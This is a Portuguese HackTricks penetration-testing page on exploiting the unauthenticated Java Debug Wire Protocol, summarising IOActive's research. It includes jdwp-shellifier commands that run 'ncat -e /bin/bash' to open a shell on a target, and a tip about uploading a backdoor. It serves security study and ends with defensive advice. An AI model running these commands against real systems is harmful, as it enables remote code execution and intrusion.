6.7 KiB
Pentesting JDWP - Protocolo de Depuração Java (Java Debug Wire Protocol)
Aprenda a hackear a AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Exploração
A exploração do JDWP depende da falta de autenticação e criptografia do protocolo. Geralmente é encontrado na porta 8000, mas outras portas são possíveis. A conexão inicial é feita enviando um "JDWP-Handshake" para a porta de destino. Se um serviço JDWP estiver ativo, ele responde com a mesma string, confirmando sua presença. Esse handshake atua como um método de identificação para identificar serviços JDWP na rede.
Em termos de identificação de processos, a busca pela string "jdwk" em processos Java pode indicar uma sessão JDWP ativa.
A ferramenta padrão é jdwp-shellifier. Você pode usá-lo com diferentes parâmetros:
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
Encontrei que o uso de --break-on 'java.lang.String.indexOf'
torna o exploit mais estável. E se você tiver a oportunidade de fazer upload de um backdoor para o host e executá-lo em vez de executar um comando, o exploit será ainda mais estável.
Mais detalhes
Este é um resumo de https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Consulte para mais detalhes.
- Visão Geral do JDWP:
- É um protocolo binário de rede baseado em pacotes, principalmente síncrono.
- Falta autenticação e criptografia, tornando-o vulnerável quando exposto a redes hostis.
- Handshake do JDWP:
- Um processo de handshake simples é usado para iniciar a comunicação. Uma string ASCII de 14 caracteres "JDWP-Handshake" é trocada entre o Depurador (cliente) e o Debuggee (servidor).
- Comunicação do JDWP:
- As mensagens têm uma estrutura simples com campos como Comprimento, Id, Sinalizador e Conjunto de Comandos.
- Os valores do Conjunto de Comandos variam de 0x40 a 0x80, representando diferentes ações e eventos.
- Exploração:
- O JDWP permite carregar e invocar classes e bytecode arbitrários, representando riscos de segurança.
- O artigo detalha um processo de exploração em cinco etapas, envolvendo a obtenção de referências do Tempo de Execução do Java, definição de pontos de interrupção e invocação de métodos.
- Exploração na Vida Real:
- Apesar das potenciais proteções de firewall, os serviços JDWP são descobríveis e exploráveis em cenários do mundo real, conforme demonstrado por pesquisas em plataformas como ShodanHQ e GitHub.
- O script de exploit foi testado em várias versões do JDK e é independente de plataforma, oferecendo Execução Remota de Código (RCE) confiável.
- Implicações de Segurança:
- A presença de serviços JDWP abertos na internet destaca a necessidade de revisões de segurança regulares, desativação de funcionalidades de depuração em produção e configurações adequadas de firewall.
Referências:
- [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/]
- https://github.com/IOActive/jdwp-shellifier
- http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
- http://www.secdev.org/projects/scapy(não mais ativo)
- http://www.shodanhq.com/search?q=JDWP-HANDSHAKE
- http://www.hsc-news.com/archives/2013/000109.html (não mais ativo)
- http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt
- https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
- http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
- http://nmap.org/nsedoc/scripts/jdwp-exec.html
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o HackTricks e HackTricks Cloud github repos.